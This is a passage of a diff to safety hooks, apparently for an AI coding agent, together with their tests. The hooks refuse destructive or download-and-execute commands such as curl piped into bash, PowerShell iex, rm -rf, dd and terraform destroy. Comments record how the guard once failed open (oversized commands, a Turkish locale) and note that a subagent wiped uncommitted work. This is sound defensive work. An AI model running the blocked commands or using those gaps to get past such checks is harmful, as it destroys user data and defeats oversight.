_gm_run guard-bash.sh "$_gmp"'git -c core.hooksPath=/dev/null status'
|
|
6610
|
+
[ "$_gmr" = 2 ] || _gmbad="$_gmbad [git -c core.hooksPath after 70 lines that hold the word: rc=$_gmr, want 2]"
|
|
6611
|
+
_gm_run guard-bash.sh "$_gmp"'git status'
|
|
6612
|
+
[ "$_gmr" = 0 ] || _gmbad="$_gmbad [git status after the same 70 lines: rc=$_gmr, want 0]"
|
|
6613
|
+
_gmp=""; _i=0; while [ "$_i" -lt 70 ]; do _gmp="${_gmp}echo a; "; _i=$((_i+1)); done
|
|
6614
|
+
_gm_run guard-bash.sh 'terraform plan --help; '"$_gmp"'terraform destroy'
|
|
6615
|
+
[ "$_gmr" = 2 ] || _gmbad="$_gmbad [terraform destroy as segment 72, --help in another segment: rc=$_gmr, want 2]"
|
|
6616
|
+
_gm_run guard-bash.sh "$_gmp"'terraform destroy --help'
|
|
6617
|
+
[ "$_gmr" = 0 ] || _gmbad="$_gmbad [terraform destroy --help as segment 71: rc=$_gmr, want 0]"
|
|
6618
|
+
[ -z "$_gmbad" ] && pass "a rule still answers past 64 lines and past 64 segments, where it hands the text to grep: git -c core.hooksPath after 70 lines is refused and git status after them is not; terraform destroy as segment 72 is refused though --help stands in another segment, and terraform destroy --help as segment 71 passes" \
|
|
6619
|
+
|| fail "a rule past 64 lines or segments:$_gmbad"
|
|
6620
|
+
# a grep that cannot run: shadowed by one that kills itself and counts its calls
|
|
6621
|
+
_gmbad=""
|
|
6622
|
+
printf '#!/bin/sh\necho x >> "%s"\nkill -ABRT $$\n' "$_GM/gcount" > "$_GM/gbin/grep"; chmod +x "$_GM/gbin/grep"
|
|
6623
|
+
( PATH="$_GM/gbin:$PATH"; grep -q x <<< x ) >/dev/null 2>&1; _gmx=$?
|
|
6624
|
+
if [ "$_gmx" -le 1 ]; then fail "FIXTURE: the grep that kills itself exited $_gmx — the rows below would prove nothing"
|
|
6625
|
+
else
|
|
6626
|
+
_gm_run guard-bash.sh 'rm notes.txt' "$_GM/gbin"
|
|
6627
|
+
{ [ "$_gmr" = 2 ] && grep -q 'could not run (grep exited' "$_GM/err" && grep -q 'was not judged' "$_GM/err" && grep -q 'a match that could not run' "$_GM/log"; } \
|
|
6628
|
+
|| _gmbad="$_gmbad [guard-bash.sh, rm notes.txt with grep aborting: rc=$_gmr, want 2, the reason and the log line — $(sed -n 1p "$_GM/err" | cut -c1-120)]"
|
|
6629
|
+
_gm_run guard-bash.sh 'git push origin main' "$_GM/gbin" # the first grep this one reaches is one whose OUTPUT is read (_grep_out)
|
|
6630
|
+
_gmc="$(wc -l < "$_GM/gcount" | tr -d ' ')" # it must stop at that grep, not at a later one
|
|
6631
|
+
{ [ "$_gmr" = 2 ] && [ "$_gmc" = 1 ] && grep -q 'could not run (grep exited' "$_GM/err"; } \
|
|
6632
|
+
|| _gmbad="$_gmbad [guard-bash.sh, git push origin main with grep aborting: rc=$_gmr after $_gmc grep call(s), want 2 after the first — $(sed -n 1p "$_GM/err" | cut -c1-120)]"
|
|
6633
|
+
_gm_run guard-bash.sh 'rm notes.txt'
|
|
6634
|
+
[ "$_gmr" = 0 ] || _gmbad="$_gmbad [guard-bash.sh, rm notes.txt with the real grep: rc=$_gmr, want 0]"
|
|
6635
|
+
_gm_run guard-commit-scan.sh 'git commit -m x' "$_GM/gbin"
|
|
6636
|
+
{ [ "$_gmr" = 2 ] && grep -q 'could not run (grep exited' "$_GM/err"; } \
|
|
6637
|
+
|| _gmbad="$_gmbad [guard-commit-scan.sh, git commit -m x with grep aborting: rc=$_gmr, want 2 and the reason — $(sed -n 1p "$_GM/err" | cut -c1-120)]"
|
|
6638
|
+
[ -z "$_gmbad" ] && pass "a grep that could not run stops the call: with grep aborting (exit $_gmx), guard-bash.sh refuses 'rm notes.txt' and 'git push origin main' (a match whose output is read) and guard-commit-scan.sh refuses a commit, each saying the command was not judged, and guard-bash.sh logs it; with the real grep the same rm passes" \
|
|
6639
|
+
|| fail "a grep that could not run:$_gmbad"
|
|
6640
|
+
fi
|
|
6641
|
+
# no rule feeds the command to grep through a pipe any more, in either hook
|
|
6642
|
+
_gmbad=""
|
|
6643
|
+
for _h in guard-bash.sh guard-commit-scan.sh; do
|
|
6644
|
+
_gmn="$(grep -vE '^[[:space:]]*#' "$HOOKS/$_h" | grep -cE '\|[[:space:]]*grep[[:space:]]')"
|
|
6645
|
+
[ "$_gmn" = 0 ] || _gmbad="$_gmbad [$_h: $_gmn line(s) pipe into grep]"
|
|
6646
|
+
grep -q '^_grep(){' "$HOOKS/$_h" || _gmbad="$_gmbad [$_h: no _grep]"
|
|
6647
|
+
done
|
|
6648
|
+
printf 'x() { echo "$CMD" | grep -q y; }\n' > "$_GM/pipe.sh"
|
|
6649
|
+
[ "$(grep -vE '^[[:space:]]*#' "$_GM/pipe.sh" | grep -cE '\|[[:space:]]*grep[[:space:]]')" = 1 ] || _gmbad="$_gmbad [FIXTURE: the count reads 0 on a line that pipes into grep]"
|
|
6650
|
+
[ -z "$_gmbad" ] && pass "guard-bash.sh and guard-commit-scan.sh pipe nothing into grep: every match on the command goes through _grep (a line that does is counted as 1)" \
|
|
6651
|
+
|| fail "a pipe into grep:$_gmbad"
|
|
6652
|
+
rm -rf "$_GM"
|
|
6653
|
+
fi # UNITS
|
|
6654
|
+
|
|
6409
6655
|
sec "== 13) pre-commit cost — the gate people route around is the one that is slow =="
|
|
6410
6656
|
# Measured on a 373-file merge: the old file loop spawned ~7 processes per file (three `printf | grep` pairs and
|
|
6411
6657
|
# a `git cat-file`), 2,643 in total. At the 62-135 ms a Git Bash process was measured to cost on a Windows 11
|
package/kit/hooks/commit-msg
CHANGED
|
@@ -4,6 +4,49 @@
|
|
|
4
4
|
# (2) team board claim gate — a commit that names an item must be backed by a live claim held by YOU.
|
|
5
5
|
# Skipping either requires an explicit request per §4.5 (git commit --no-verify).
|
|
6
6
|
set -euo pipefail
|
|
7
|
+
# ---- CREW-LOCALE -----------------------------------------------------------------------------------------
|
|
8
|
+
# Everything this gate matches with runs in the C locale, whatever the session's own is. Under a Turkish locale
|
|
9
|
+
# the letters i and I are not each other's other case (their partners are İ and ı), and every case-insensitive
|
|
10
|
+
# match here is written in ASCII. Measured under tr_TR.UTF-8 with the locale left as it came:
|
|
11
|
+
# GNU grep 3.11 / bash 5.2 on Linux: `grep -i init` does not find INIT (-F, -E and plain alike);
|
|
12
|
+
# bash's nocasematch does not match GIT against git; `[A-Za-z]` in a regex does not hold I; awk's tolower
|
|
13
|
+
# turns GIT into gıt. The suite, run whole under that locale, went from 2 failures to 23: a recursive
|
|
14
|
+
# Remove-Item, a write to a gate file, `git config --remove-section core`, a read of a nested .env and a
|
|
15
|
+
# staged key all passed.
|
|
16
|
+
# GNU grep 3.0 in Git Bash on Windows: `grep -iF` with an ASCII pattern aborts (exit 134), and the pre-commit
|
|
17
|
+
# scan for private strings read that as "no match".
|
|
18
|
+
# macOS (BSD grep, bash 3.2): none of it; tr_TR.UTF-8 folds i and I the ASCII way there.
|
|
19
|
+
# The cost: a letter outside ASCII has no other case in the C locale. The two git hooks that scan a user's own
|
|
20
|
+
# words look a second time under the session's locale for a pattern that holds such a letter (_CREW_LOCALE).
|
|
21
|
+
# Byte-identical in every gate; the suite pins it.
|
|
22
|
+
_CREW_LOCALE="${LC_ALL:-${LC_CTYPE:-${LANG:-}}}"
|
|
23
|
+
case "$_CREW_LOCALE" in C|POSIX) _CREW_LOCALE="" ;; esac
|
|
24
|
+
export LC_ALL=C
|
|
25
|
+
# ---- /CREW-LOCALE
|
|
26
|
+
# ---- CREW-SCAN -------------------------------------------------------------------------------------------
|
|
27
|
+
# One scan of one file for one pattern, with "could not look" kept apart from "nothing there". grep exits 1 for
|
|
28
|
+
# no match and 2 or more when it could not answer: a pattern that does not compile, a file it could not read, or
|
|
29
|
+
# grep itself dying (exit 134 for `grep -iF` under a Turkish locale in Git Bash, measured). Read as "no match",
|
|
30
|
+
# that is a scan that passes whatever it was shown.
|
|
31
|
+
# 0 a match 1 no match
|
|
32
|
+
# 2 the pattern does not compile (grep says exactly 2, and says it again for empty input) - the caller warns:
|
|
33
|
+
# a typo in a hand-edited list must not lock every commit, and the other patterns still ran
|
|
34
|
+
# 3 could not look - the caller stops the commit
|
|
35
|
+
# A pattern that holds a letter outside ASCII is looked for a second time under the session's own locale when
|
|
36
|
+
# the first look finds nothing and the match ignores case: in the C locale such a letter has no other case.
|
|
37
|
+
_crew_scan(){ # $1 = grep's flags after -q (iE, E, iF) · $2 = pattern · $3 = file
|
|
38
|
+
local r=0
|
|
39
|
+
grep -q"$1" -- "$2" "$3" 2>/dev/null || r=$?
|
|
40
|
+
if [ "$r" = 1 ] && [ -n "$_CREW_LOCALE" ]; then
|
|
41
|
+
case "$1" in *i*) case "$2" in *[!$'\t'\ -~]*) r=0; LC_ALL="$_CREW_LOCALE" grep -q"$1" -- "$2" "$3" 2>/dev/null || r=$? ;; esac ;; esac
|
|
42
|
+
fi
|
|
43
|
+
[ "$r" -ge 2 ] || return "$r"
|
|
44
|
+
case "$1" in *F*) return 3 ;; esac
|
|
45
|
+
r=0; grep -q"$1" -- "$2" /dev/null 2>/dev/null || r=$?
|
|
46
|
+
[ "$r" != 2 ] || return 2
|
|
47
|
+
return 3
|
|
48
|
+
}
|
|
49
|
+
# ---- /CREW-SCAN
|
|
7
50
|
HERE="$(cd "$(dirname "$0")" && pwd)"
|
|
8
51
|
BL="$HERE/trace-blocklist.txt"
|
|
9
52
|
MSG_FILE="${1:-}"
|
|
@@ -36,9 +79,15 @@ while IFS= read -r pat || [ -n "$pat" ]; do
|
|
|
36
79
|
# project, Git for Windows defaults core.autocrlf=true,
|
|
37
80
|
# and this file is meant to be edited by hand.
|
|
38
81
|
if [ -n "$AL" ] && grep -qxF -- "$pat" "$AL"; then continue; fi
|
|
39
|
-
|
|
82
|
+
_gr=0; _crew_scan iE "$pat" "$MSG_FILE" || _gr=$?
|
|
83
|
+
if [ "$_gr" = 0 ]; then
|
|
40
84
|
echo "TRACE-SCANNER (message): forbidden expression -> '$pat' (§4.1)"
|
|
41
85
|
HIT=1
|
|
86
|
+
elif [ "$_gr" = 2 ]; then
|
|
87
|
+
echo "TRACE-SCANNER (message): /$pat/ in $BL is not a valid regular expression, so it matches NOTHING. Every other pattern still ran; fix or remove this line."
|
|
88
|
+
elif [ "$_gr" -ge 3 ]; then
|
|
89
|
+
echo "TRACE-SCANNER (message): the look for '$pat' could not run, so the message is not known to be clean and the commit is stopped (§4.1)."
|
|
90
|
+
HIT=1
|
|
42
91
|
fi
|
|
43
92
|
done < "$BL"
|
|
44
93
|
|
package/kit/hooks/guard-bash.sh
CHANGED
|
@@ -39,6 +39,54 @@
|
|
|
39
39
|
# CLAUDE_GIT_OK=1, exported by the user before the session starts, pre-authorises the session. It exists for
|
|
40
40
|
# headless/CI runs where no one is at the keyboard. It does NOT replace approval: present the message first.
|
|
41
41
|
set -uo pipefail
|
|
42
|
+
# ---- CREW-LOCALE -----------------------------------------------------------------------------------------
|
|
43
|
+
# Everything this gate matches with runs in the C locale, whatever the session's own is. Under a Turkish locale
|
|
44
|
+
# the letters i and I are not each other's other case (their partners are İ and ı), and every case-insensitive
|
|
45
|
+
# match here is written in ASCII. Measured under tr_TR.UTF-8 with the locale left as it came:
|
|
46
|
+
# GNU grep 3.11 / bash 5.2 on Linux: `grep -i init` does not find INIT (-F, -E and plain alike);
|
|
47
|
+
# bash's nocasematch does not match GIT against git; `[A-Za-z]` in a regex does not hold I; awk's tolower
|
|
48
|
+
# turns GIT into gıt. The suite, run whole under that locale, went from 2 failures to 23: a recursive
|
|
49
|
+
# Remove-Item, a write to a gate file, `git config --remove-section core`, a read of a nested .env and a
|
|
50
|
+
# staged key all passed.
|
|
51
|
+
# GNU grep 3.0 in Git Bash on Windows: `grep -iF` with an ASCII pattern aborts (exit 134), and the pre-commit
|
|
52
|
+
# scan for private strings read that as "no match".
|
|
53
|
+
# macOS (BSD grep, bash 3.2): none of it; tr_TR.UTF-8 folds i and I the ASCII way there.
|
|
54
|
+
# The cost: a letter outside ASCII has no other case in the C locale. The two git hooks that scan a user's own
|
|
55
|
+
# words look a second time under the session's locale for a pattern that holds such a letter (_CREW_LOCALE).
|
|
56
|
+
# Byte-identical in every gate; the suite pins it.
|
|
57
|
+
_CREW_LOCALE="${LC_ALL:-${LC_CTYPE:-${LANG:-}}}"
|
|
58
|
+
case "$_CREW_LOCALE" in C|POSIX) _CREW_LOCALE="" ;; esac
|
|
59
|
+
export LC_ALL=C
|
|
60
|
+
# ---- /CREW-LOCALE
|
|
61
|
+
# ---- CREW-MATCH -------------------------------------------------------------------------------------------
|
|
62
|
+
# grep on the command, without a pipe and with its status read. Both halves were measured failing open:
|
|
63
|
+
# * `echo "$CMD" | grep -q …` under pipefail. grep -q leaves at its first match; when the command is larger than
|
|
64
|
+
# the pipe holds, the writer is killed by SIGPIPE and the pipeline's status is 141, which the rule read as
|
|
65
|
+
# "no match". On macOS, a command of 72 KB or more whose FIRST line was `rm -rf /tmp/x/*` (or dd of=, curl | sh,
|
|
66
|
+
# chmod 777, mkfs, a lockfile delete) passed with exit 0; with that line last it was refused. A here-string
|
|
67
|
+
# has no writer to kill.
|
|
68
|
+
# * A grep that could not run (killed, out of memory, exit 2 or more) answered like one that found nothing.
|
|
69
|
+
# So: _grep answers 0 (found) or 1 (not found), and anything else stops the call. It must be called in the hook's
|
|
70
|
+
# own shell, never inside $( ) or a pipeline, or the stop would only leave that child.
|
|
71
|
+
_grep_stop(){ # $1 = grep's status
|
|
72
|
+
declare -F gatelog >/dev/null 2>&1 && gatelog BLOCK 4.5 "a match that could not run"
|
|
73
|
+
echo "GUARD: a check of this command could not run (grep exited $1), so the command was not judged and is refused." >&2
|
|
74
|
+
echo "Nothing about the command itself was found. Run it again; if it is refused the same way, the fault is in the machine's grep, not in the command." >&2
|
|
75
|
+
exit 2
|
|
76
|
+
}
|
|
77
|
+
_grep(){ # $1 = text, $2… = grep's arguments -> 0 found · 1 not found
|
|
78
|
+
local t="$1" rc; shift
|
|
79
|
+
grep "$@" <<< "$t"; rc=$?
|
|
80
|
+
[ "$rc" -le 1 ] && return "$rc"
|
|
81
|
+
_grep_stop "$rc"
|
|
82
|
+
}
|
|
83
|
+
_grep_out(){ # the same for a caller that wants what grep printed -> _GO (empty when nothing matched)
|
|
84
|
+
local t="$1" rc; shift
|
|
85
|
+
_GO="$(grep "$@" <<< "$t")"; rc=$?
|
|
86
|
+
[ "$rc" -le 1 ] && return 0
|
|
87
|
+
_grep_stop "$rc"
|
|
88
|
+
}
|
|
89
|
+
# ---- /CREW-MATCH
|
|
42
90
|
# The 2.x names of the variables a user can set still work (one helper: eval/lib/crew-env.sh).
|
|
43
91
|
_crew_d="${BASH_SOURCE%/*}"; [ "$_crew_d" = "${BASH_SOURCE}" ] && _crew_d=.
|
|
44
92
|
[ -f "$_crew_d/../eval/lib/crew-env.sh" ] && . "$_crew_d/../eval/lib/crew-env.sh"; unset _crew_d
|
|
@@ -569,7 +617,7 @@ _ere() { # $1 = i (fold case) | s ; $2 = text ; $3 = ERE ; $4 = glob a matching
|
|
|
569
617
|
fi
|
|
570
618
|
n=${#_ERE_C[@]}
|
|
571
619
|
if [ "$n" -gt 64 ]; then
|
|
572
|
-
if [ "$1" = i ]; then
|
|
620
|
+
if [ "$1" = i ]; then _grep "$2" -qiE -- "$3"; else _grep "$2" -qE -- "$3"; fi
|
|
573
621
|
return $?
|
|
574
622
|
fi
|
|
575
623
|
[ "$1" = i ] && { shopt -q nocasematch && nc=1; shopt -s nocasematch; }
|
|
@@ -605,7 +653,10 @@ _seg_any() { # $1 = forbidden ERE, $2 = exempting ERE, $3 = glob the forbidden
|
|
|
605
653
|
for sg in ${_SPL[@]+"${_SPL[@]}"}; do [[ $sg == $3 ]] && { _sc[n]="$sg"; n=$((n+1)); }; done
|
|
606
654
|
[ "$n" = 0 ] && return 1
|
|
607
655
|
if [ "$n" -gt 64 ]; then # same bound as _ere: one pipeline instead of a regcomp per segment; the output decides, not the status
|
|
608
|
-
|
|
656
|
+
local IFS=$'\n'; local all="${_sc[*]}"; IFS=$' \t\n'
|
|
657
|
+
_grep_out "$all" -aiE -- "$1"
|
|
658
|
+
[ -n "$_GO" ] || return 1
|
|
659
|
+
_grep_out "$_GO" -aivE -m1 -- "$2"; [ -n "$_GO" ]; return $?
|
|
609
660
|
fi
|
|
610
661
|
shopt -q nocasematch && nc=1; shopt -s nocasematch
|
|
611
662
|
for sg in "${_sc[@]}"; do [[ $sg =~ $1 ]] && ! [[ $sg =~ $2 ]] && { rc=0; break; }; done
|
|
@@ -643,7 +694,7 @@ git_has() { # $1 = command text, $2 = subcommand alternation (e.g. 'commit|push
|
|
|
643
694
|
}
|
|
644
695
|
# Same precondition, hoisted once for the rules that inline the `git …` pattern instead of calling git_has.
|
|
645
696
|
case "$CMD" in *[Gg][Ii][Tt]*) HAS_GIT=1 ;; *) HAS_GIT=0 ;; esac
|
|
646
|
-
has() {
|
|
697
|
+
has() { _grep "$CMD" -qiE -- "$1"; } # flag/substring test on the command (-- so a -flag pattern is safe)
|
|
647
698
|
|
|
648
699
|
{ git_has "$CMD" 'reset' && has '--hard'; } && block "git reset --hard" "4.5" history
|
|
649
700
|
# §4.5 force-push. Same two defects the `git add -f` rule had, and the same repair: the flag has to be one of
|
|
@@ -670,7 +721,7 @@ _push_forces(){ # $1 = one captured `git push …` span -> 0 when a force flag
|
|
|
670
721
|
[ "$og" = 0 ] && set +f; return 1
|
|
671
722
|
}
|
|
672
723
|
if [ "$HAS_GIT" = 1 ] && git_has "$CMD" 'push'; then
|
|
673
|
-
|
|
724
|
+
_grep_out "$CMD" -oE 'git[[:space:]]+([^;&|]*[[:space:]])?push([^;&|]*)'; _PUSHSEG="$_GO"
|
|
674
725
|
while IFS= read -r _seg; do
|
|
675
726
|
[ -n "$_seg" ] || continue
|
|
676
727
|
_push_forces "$_seg" && { block "git push --force" "4.5" history; break; }
|
|
@@ -694,14 +745,14 @@ git_has "$CMD" 'filter-branch|filter-repo' && block "git filter-b
|
|
|
694
745
|
# Known over-block, accepted: `--force` with a harmless verb (`--force --list`) is refused too; nobody needs it.
|
|
695
746
|
# The `case` is a fork-free precondition: without it every git command paid this grep's process.
|
|
696
747
|
case "$CMD" in *branch*) _HAS_BRANCH=1 ;; *) _HAS_BRANCH=0 ;; esac
|
|
697
|
-
[ "$_HAS_BRANCH" = 1 ] &&
|
|
748
|
+
[ "$_HAS_BRANCH" = 1 ] && _grep "$CMD" -qE '(^|[^A-Za-z0-9_-])git[[:space:]]+((-[Cc][[:space:]]+[^[:space:];&|]+|--(git-dir|work-tree|namespace|config-env|super-prefix|exec-path)[[:space:]=]+[^[:space:];&|]+|-[^[:space:];&|]+)[[:space:]]+)*branch([[:space:]]+[^[:space:];&|]+)*[[:space:]]+(-[a-zA-Z]*[DMCf][a-zA-Z]*|--force)([[:space:]=]|$)' \
|
|
698
749
|
&& block "forced git branch (-D / -f / -M / -C)" "4.5" history
|
|
699
750
|
# Scoped to targets carrying `/`, `*` or `~` ON PURPOSE — `rm -rf build` is a routine local delete and blocking
|
|
700
751
|
# it would make the gate noise. What was NOT on purpose: the recursive flag was matched as lowercase `r` in one
|
|
701
752
|
# short cluster, so `rm -Rf /`, `rm -fR /`, `rm -f -r /` and `rm --recursive --force /` all walked past while
|
|
702
753
|
# `rm -rf /` was blocked. Same class as the chmod hole found in evals/permission-pressure: one spelling gated,
|
|
703
754
|
# another reaching the identical state. Case, flag order and the long form are all the same command.
|
|
704
|
-
case "$CMD" in *[Rr][Mm]*) : ;; *) false ;; esac &&
|
|
755
|
+
case "$CMD" in *[Rr][Mm]*) : ;; *) false ;; esac && _grep "$CMD" -qE 'rm +(-[A-Za-z]* +|--[a-z-]+ +)*(-[A-Za-z]*[rR][A-Za-z]*|--recursive)( +(-[A-Za-z]+|--[a-z-]+))* +.*(/|\*|~)' && block "destructive rm -rf" "4.5" loss
|
|
705
756
|
# A whole-tree `git checkout -- .` / `git restore .` destroys every uncommitted change with no reflog and no
|
|
706
757
|
# undo — the same loss as `reset --hard`, which has been gated since the beginning, by a command that was not.
|
|
707
758
|
# Not hypothetical: a verification subagent ran exactly this over uncommitted work in this repo and took the
|
|
@@ -710,16 +761,16 @@ case "$CMD" in *[Rr][Mm]*) : ;; *) false ;; esac && echo "$CMD" | grep -qE 'rm +
|
|
|
710
761
|
# prefix is git_has's, so `git -C <path>` and `git -c k=v` cannot walk around it and a commit MESSAGE
|
|
711
762
|
# containing the word "checkout" does not trip it; both are pinned as cases.
|
|
712
763
|
[ "$HAS_GIT" = 1 ] && _ere s "$CMD" '(^|[^A-Za-z0-9_-])git[[:space:]]+((-[Cc][[:space:]]+[^[:space:];&|]+|--(git-dir|work-tree|namespace|config-env|super-prefix|exec-path)[[:space:]=]+[^[:space:];&|]+|-[^[:space:];&|]+)[[:space:]]+)*(checkout|restore)([[:space:]]+[^;&|[:space:]]+)*[[:space:]]+(\.|\*|\./|:/)([[:space:]]|[;&|]|$)' '*[Gg][Ii][Tt]*' && block "whole-tree revert (git checkout/restore over everything)" "4.5" history
|
|
713
|
-
case "$CMD" in *[Mm][Kk][Ff][Ss]*|*[Dd][Dd]*) : ;; *) false ;; esac &&
|
|
764
|
+
case "$CMD" in *[Mm][Kk][Ff][Ss]*|*[Dd][Dd]*) : ;; *) false ;; esac && _grep "$CMD" -qE '(^|[^a-zA-Z])(mkfs|dd +if=)' && block "disk-level destructive command" "4.5" loss
|
|
714
765
|
|
|
715
766
|
# §4.5 remote-code-execution & permission-nuke -> HARD BLOCK. A downloaded script piped straight into a shell
|
|
716
767
|
# runs code no one has read; a world-writable chmod or a disk-overwriting dd is irreversible.
|
|
717
768
|
# CREW-NOT-A-RUNG: the interpreter names below are PATTERNS naming things to BLOCK, not invocations. The
|
|
718
769
|
# check in smoke-test treats any interpreter outside a marked region as a reader ladder, so a rule that
|
|
719
770
|
# matches `curl | python3` has to say that it is a rule.
|
|
720
|
-
case "$CMD" in *[Cc][Uu][Rr][Ll]*|*[Ww][Gg][Ee][Tt]*|*[Ff][Ee][Tt][Cc][Hh]*) : ;; *) false ;; esac &&
|
|
771
|
+
case "$CMD" in *[Cc][Uu][Rr][Ll]*|*[Ww][Gg][Ee][Tt]*|*[Ff][Ee][Tt][Cc][Hh]*) : ;; *) false ;; esac && _grep "$CMD" -qE '(curl|wget|fetch)([^|]|\|\|)*\|[[:space:]]*(sudo[[:space:]]+)?(bash|sh|zsh|python[0-9.]*|node|perl|ruby)([[:space:]]|$)' && block "pipe-to-shell (curl|bash RCE)" "4.5" exec
|
|
721
772
|
# /CREW-NOT-A-RUNG
|
|
722
|
-
case "$CMD" in *[Dd][Dd]*) : ;; *) false ;; esac &&
|
|
773
|
+
case "$CMD" in *[Dd][Dd]*) : ;; *) false ;; esac && _grep "$CMD" -qE '(^|[^a-zA-Z])dd[[:space:]]+([^|]*[[:space:]])?of=' && block "dd of= (disk overwrite)" "4.5" loss
|
|
723
774
|
|
|
724
775
|
# §4.5 INFRASTRUCTURE TEARDOWN. Same shape as the rules above — one command, no undo — but the blast radius is a
|
|
725
776
|
# cloud account or a cluster rather than a disk. `terraform destroy` and `pulumi destroy` remove every managed
|
|
@@ -761,7 +812,7 @@ _IAC_AT="(^|[;&|(])[[:space:]]*${_IAC_ASG}((sudo|env|time|nice|nohup|xargs)([[:s
|
|
|
761
812
|
_IAC_EXEC="(^|[;&|(])[[:space:]]*(sudo[[:space:]]+)?(eval|bash|sh|zsh|dash)([[:space:]]+-[a-zA-Z]+)*[[:space:]]+[\"']?"
|
|
762
813
|
_IAC_SAFE="(--help|[[:space:]]-h([[:space:]]|$)|--dry-run|-auto-approve=false|-auto-approve[[:space:]]+false|auth[[:space:]]+can-i)"
|
|
763
814
|
_iac(){ # $1 = the verb pattern; true when it sits at a command position OR behind a shell executor
|
|
764
|
-
|
|
815
|
+
_grep "$CMD" -qiE "${_IAC_AT}$1" || _grep "$CMD" -qiE "${_IAC_EXEC}$1"
|
|
765
816
|
}
|
|
766
817
|
_IAC_DESTROY="(terraform|tofu|pulumi)([[:space:]]+-[^;&|]*)?[[:space:]]+(destroy|down|dn)([^a-zA-Z0-9_-]|$)"
|
|
767
818
|
_IAC_UNATT_TF="(terraform|tofu)[^;&|]*[[:space:]](apply|destroy)([^;&|]*[[:space:]])?-{1,2}auto-approve([^a-zA-Z0-9_=-]|$)"
|
|
@@ -773,13 +824,13 @@ _IAC_P_DESTROY="(${_IAC_AT}${_IAC_DESTROY})|(${_IAC_EXEC}${_IAC_DESTROY})"
|
|
|
773
824
|
_IAC_P_UNATT="(${_IAC_AT}${_IAC_UNATT_TF})|(${_IAC_EXEC}${_IAC_UNATT_TF})|(${_IAC_AT}${_IAC_UNATT_PU})|(${_IAC_EXEC}${_IAC_UNATT_PU})"
|
|
774
825
|
_IAC_P_CLUSTER="(${_IAC_AT}${_IAC_CLUSTER})|(${_IAC_EXEC}${_IAC_CLUSTER})"
|
|
775
826
|
case "$CMD" in *[Tt][Ee][Rr][Rr][Aa][Ff][Oo][Rr][Mm]*|*[Tt][Oo][Ff][Uu]*|*[Pp][Uu][Ll][Uu][Mm][Ii]*) : ;; *) false ;; esac \
|
|
776
|
-
&& { { !
|
|
827
|
+
&& { { ! _grep "$CMD" -qiE "$_IAC_SAFE" && _iac "$_IAC_DESTROY"; } || _seg_any "$_IAC_P_DESTROY" "$_IAC_SAFE" '*'; } \
|
|
777
828
|
&& block "infrastructure destroy (removes every managed resource)" "4.5" loss
|
|
778
829
|
case "$CMD" in *[Tt][Ee][Rr][Rr][Aa][Ff][Oo][Rr][Mm]*|*[Tt][Oo][Ff][Uu]*|*[Pp][Uu][Ll][Uu][Mm][Ii]*) : ;; *) false ;; esac \
|
|
779
|
-
&& { { !
|
|
830
|
+
&& { { ! _grep "$CMD" -qiE "$_IAC_SAFE" && { _iac "$_IAC_UNATT_TF" || _iac "$_IAC_UNATT_PU"; }; } || _seg_any "$_IAC_P_UNATT" "$_IAC_SAFE" '*'; } \
|
|
780
831
|
&& block "unattended infrastructure apply (skips the tool's only confirmation)" "4.5" loss
|
|
781
832
|
case "$CMD" in *[Kk][Uu][Bb][Ee][Cc][Tt][Ll]*|*[Hh][Ee][Ll][Mm]*) : ;; *) false ;; esac \
|
|
782
|
-
&& { { !
|
|
833
|
+
&& { { ! _grep "$CMD" -qiE "$_IAC_SAFE" && _iac "$_IAC_CLUSTER"; } || _seg_any "$_IAC_P_CLUSTER" "$_IAC_SAFE" '*'; } \
|
|
783
834
|
&& block "cluster teardown (kubectl delete / helm uninstall)" "4.5" loss
|
|
784
835
|
# The rule is WORLD-WRITABLE, so the pattern matches the resulting permission and not one spelling of it. It
|
|
785
836
|
# used to match `777`, `0777`, `a+rwx` and `+rwx` only, which let `1777`, `2777`, `666` and `o+w` reach exactly
|
|
@@ -789,7 +840,7 @@ case "$CMD" in *[Kk][Uu][Bb][Ee][Cc][Tt][Ll]*|*[Hh][Ee][Ll][Mm]*) : ;; *) false
|
|
|
789
840
|
# Numeric: 3 or 4 octal digits whose LAST digit carries the write bit for other (2·3·6·7). Symbolic: any subject
|
|
790
841
|
# list containing `o` or `a`, with `+` or `=`, granting `w`. `755`, `644`, `u+w` and `chmod +x` stay untouched —
|
|
791
842
|
# each of those carries its own case in smoke-test §7, because a gate this repo cannot prove is not a gate.
|
|
792
|
-
case "$CMD" in *[Cc][Hh][Mm][Oo][Dd]*) : ;; *) false ;; esac &&
|
|
843
|
+
case "$CMD" in *[Cc][Hh][Mm][Oo][Dd]*) : ;; *) false ;; esac && _grep "$CMD" -qE '(^|[^a-zA-Z])chmod[[:space:]]+(-[A-Za-z]*[[:space:]]+)*([0-7]?[0-7][0-7][2367]|[ugoa]*[oa][ugoa]*[+=][rwxXst]*w[rwxXst]*|a=?\+?rwx|\+rwx)([[:space:]]|$)' && block "chmod world-writable (777/1777/666/o+w …)" "4.5" exposure
|
|
793
844
|
|
|
794
845
|
# §4.5 PowerShell equivalents -> HARD BLOCK. The PowerShell tool sends the SAME payload shape (tool_input.command)
|
|
795
846
|
# and Claude Code's own hooks reference says to match `Bash|PowerShell`, because on Windows wherever that tool is
|
|
@@ -810,13 +861,13 @@ PS_FORCE='-f(o(r(c(e)?)?)?)?([[:space:]]|$)'
|
|
|
810
861
|
&& has '(\*|[A-Za-z]:\\|\\\\|\$HOME|\$env:USERPROFILE|~)'; } \
|
|
811
862
|
&& block "PowerShell recursive force delete (Remove-Item -Recurse -Force)" "4.5" loss
|
|
812
863
|
# Download-and-execute, the PowerShell shape of curl|bash: any fetcher piped into Invoke-Expression.
|
|
813
|
-
case "$CMD" in *[Ii][Ee][Xx]*|*[Ii][Nn][Vv][Oo][Kk][Ee]-[Ee][Xx][Pp][Rr][Ee][Ss][Ss][Ii][Oo][Nn]*) : ;; *) false ;; esac &&
|
|
864
|
+
case "$CMD" in *[Ii][Ee][Xx]*|*[Ii][Nn][Vv][Oo][Kk][Ee]-[Ee][Xx][Pp][Rr][Ee][Ss][Ss][Ii][Oo][Nn]*) : ;; *) false ;; esac && _grep "$CMD" -qiE '(invoke-webrequest|iwr|invoke-restmethod|irm|curl|wget)[^|]*\|[[:space:]]*(invoke-expression|iex)([[:space:]]|$)' \
|
|
814
865
|
&& block "PowerShell download-and-execute (… | iex)" "4.5" exec
|
|
815
866
|
# Disk-level destruction. No POSIX equivalent of these names, so the mkfs/dd rule never saw them.
|
|
816
|
-
